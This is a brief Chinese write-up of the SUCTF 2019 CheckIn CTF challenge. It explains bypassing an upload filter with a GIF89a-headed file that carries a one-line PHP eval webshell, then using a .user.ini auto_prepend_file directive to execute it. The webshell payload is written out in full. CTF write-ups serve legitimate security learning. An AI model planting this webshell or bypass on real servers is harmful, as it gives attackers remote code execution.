[SUCTF 2019]CheckIn1

黑名单过滤后缀'ph',并且白名单image类型要有对应文件头

对<?过滤,改用GIF89a<script language='php'>@eval($_POST['cmd']);</script>,成功把getshell.gif上传上去了

尝试用.htaccess将上传的gif当作php解析,但是失败了

根据这篇文章.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

上传.user.ini使用auto_prepend_file=<specific_file>将指定文件包含到当前目录下的php文件前

可以看到getshell.gif的文件头已经显示出来了,说明成功包含getshell.gif,后面跟着的一句话木马自然可以运行

连接蚁剑找到flag

相关推荐
LHX sir15 小时前
什么是UIOTOS?
前端·前端框架·编辑器·团队开发·个人开发·web
闲人编程2 天前
将你的Django/Flask应用部署到云服务器(Docker实战)
服务器·docker·容器·django·flask·部署·web
unable code4 天前
攻防世界-Web-easyupload
网络安全·web·ctf
绿油果5 天前
Javaweb(BeanUtils)
java·web
闲人编程7 天前
使用Celery处理Python Web应用中的异步任务
开发语言·前端·python·web·异步·celery
被巨款砸中9 天前
一篇文章讲清Prompt、Agent、MCP、Function Calling
前端·vue.js·人工智能·web
闲人编程10 天前
使用Django从零开始构建一个个人博客系统
后端·python·django·接口·restful·web·个人博客
王嘉俊92511 天前
Django 入门:快速构建 Python Web 应用的强大框架
前端·后端·python·django·web·开发·入门
这儿有一堆花11 天前
英国公司注销后,能否在爱尔兰注册同名公司?
web
闲人编程12 天前
2025年,如何选择Python Web框架:Django, Flask还是FastAPI?
前端·后端·python·django·flask·fastapi·web